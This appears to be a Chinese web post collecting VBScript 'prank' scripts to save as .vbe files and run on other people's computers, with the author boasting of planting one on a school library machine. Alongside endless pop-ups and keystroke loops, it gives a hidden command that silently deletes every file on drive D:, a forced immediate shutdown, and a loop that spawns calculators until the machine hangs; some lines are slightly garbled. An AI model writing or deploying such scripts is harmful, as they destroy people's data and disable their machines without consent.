VBS整人代碼大集合，收集的比較全，喜歡的朋友可以參考下。不要搞破壞，學習vbs的朋友非常有幫助，死循環的使用比較多。新建一個記事本 把下面的代碼複制進去 另存為VBE格式的就可以了 ：

一、我就用這個程序放在學校圖書館查詢書刊的機器上，好多人都那它沒辦法，哈哈

do

msgbox "You are foolish!"

loop

----------------------------------------------------------------------------

二、打開無數個計算器，直到死機

set wsh=createobject("wscript.shell")

do

wsh.run "calc"

loop

----------------------------------------------------------------------------

三、直接關機

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

---------------------------------------------------------------------------

四、删除D:\所有文件

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

----------------------------------------------------------------------------

五、不斷彈出窗口

while(1)

msgbox "哈哈 你被耍了！"

loop

----------------------------------------------------------------------------

六、不斷按下alt f4 （開什麼都關閉……）

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}" loop

---------------------------------------------------------------------------

七、按500次回車

(以上代碼在運行者的電腦上顯示500個對話框。其中 do until s=500 ，500可以随意更改)

dim s

do until s=500

s=s 1

msgbox "哥們，給我按500次回車吧",64

loop

---------------------------------------------------------------------------

八、關不掉的窗口

WScript.Echo("嘿，謝謝你打開我哦，我等你很久拉！"&TSName)

WScript.Echo("你是可愛的小朋嗎?") WScript.Echo("哈,我想你拉，這你都不知道嗎？")

WScript.Echo("怎麼才來，說~是不是不關心我") WScript.Echo("哼,我生氣拉，等你這麼久，心都涼啦。")

WScript.Echo("小強很生氣，後果很嚴重哦。") WScript.Echo("嘿嘿！你也會很慘滴哦")

WScript.Echo("是不是想清除我？") WScript.Echo("那你要點上50下哦，不過會給你驚喜滴")

WScript.Echo("還剩49下，快點點哦") WScript.Echo("還剩48下，快點，小笨蛋！")

WScript.Echo("還剩47下對，就這樣快點點！") WScript.Echo("還剩46下。你啊就是笨，要快哦，我先不打擾你工作。")

WScript.Echo("還剩45下，記得要快哦！") WScript.Echo("還剩43下")

WScript.Echo("還剩42下")

WScript.Echo("還剩41下") WScript.Echo("還剩40下")

WScript.Echo("還剩39下")

WScript.Echo("還剩38下") WScript.Echo("還剩37下")

WScript.Echo("還剩36下")

WScript.Echo("還剩35下") WScript.Echo("還剩34下")

WScript.Echo("還剩33下")

WScript.Echo("還剩32下") WScript.Echo("還剩30下")

WScript.Echo("還剩29下")

WScript.Echo("還剩28下") WScript.Echo("還剩27下")

WScript.Echo("還剩26下")

WScript.Echo("還剩25下") WScript.Echo("還剩24下")

WScript.Echo("還剩23下")

WScript.Echo("還剩22下") WScript.Echo("還剩21下")

WScript.Echo("還剩20下")

WScript.Echo("還剩19下") WScript.Echo("還剩18下")

WScript.Echo("還剩17下")

WScript.Echo("還剩16下") WScript.Echo("還剩15下")

WScript.Echo("還剩14下") WScript.Echo("還剩13下停停！！！慢點，我有話要說")

WScript.Echo("還剩12下，你繼續點我就會消失滴") WScript.Echo("還剩11下，以後就看不到我拉。555555")

WScript.Echo("還剩10下，你現在可以選擇停止！") WScript.Echo("還剩9下。你還點啊，不要我拉？")

WScript.Echo("還剩8下，有點傷心拉，幹嘛丢棄人家") WScript.Echo("還剩7下。瘋了，你有點負意！")

WScript.Echo("還剩6下。對。你就點吧，我恨你！") WScript.Echo("還剩5下，不明白，删除我你就好嗎？")

WScript.Echo("還剩4下！真要删除我？") WScript.Echo("還剩3下。可是我真的很眷戀你。。。")

WScript.Echo("還剩2下。不要這麼絕情嘛，人家是愛你的！") WScript.Echo("還剩1下。哼，既然你這麼絕情。也别怪我無義！！！") WScript.Echo("我本因該消失的，不過我留戀你滴芳容，上帝又給了一次機會。")

WScript.Echo("想結素我麼?那你就再多點一次")

WScript.Echo("想結素我麼?那你就再多點一次")

WScript.Echo("想結素我麼?那你就再多點一次")

WScript.Echo("想結素我麼?那你就再多點一次") WScript.Echo("想結素我麼?那你就再多點一次")

WScript.Echo("想結素我麼?那你就再多點一次")

WScript.Echo("想結素我麼?那你就再多點一次")

WScript.Echo("想結素我麼?那你就再多點一次") WScript.Echo("想結素我麼?那你就再多點一次")

WScript.Echo("想結素我麼?那你就再多點一次")

-----------------------------------------------------------------

注：所有的标點都要用英文的狀态輸入。

歡迎訂閱微信公衆号“vbs_edit”了解更多關于VBS電腦知識。